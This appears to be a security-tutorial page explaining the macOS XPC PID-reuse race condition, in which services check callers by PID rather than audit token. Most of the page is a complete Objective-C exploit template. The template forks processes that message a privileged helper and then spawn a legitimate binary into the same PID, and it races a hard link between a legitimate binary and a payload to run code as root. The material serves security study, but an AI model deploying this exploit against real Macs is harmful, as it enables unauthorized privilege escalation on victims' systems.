When a macOS XPC service is checking the called process based on the PID and not on the audit token, it's vulnerable to PID reuse attack. This attack is based on a race condition where an exploit is going to send messages to the XPC service abusing the functionality and just after that, executing posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) with the allowed binary.
This function will make the allowed binary own the PID but the malicious XPC message would have been sent just before. So, if the XPC service use the PID to authenticate the sender and checks it AFTER the execution of posix_spawn, it will think it comes from an authorized process.
Exploit example
If you find the function shouldAcceptNewConnection or a function called by it callingprocessIdentifier and not calling auditToken. It highly probable means that it's verifying the process PID and not the audit token.
Like for example in this image (taken from the reference):
Check this example exploit (again, taken from the reference) to see the 2 parts of the exploit:
One that generates several forks
Each fork will send the payload to the XPC service while executing posix_spawn just after sending the message.
For the exploit to work it's important to export`` OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES or to put inside the exploit:
This example uses a raw fork to launch children that will exploit the PID race condition and then exploit another race condition via a Hard link:
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>
// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end
// Global flag to track exploitation status
bool pwned = false;
/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);
// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}
void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;
// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString* service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);
// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];
// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];
// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) { // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// Wait for children to finish their tasks
sleep(3);
// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}
int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");
// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);
while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");
// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");
xpc_pid_rc_abuse();
usleep(10000);
// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}
return 0;
}
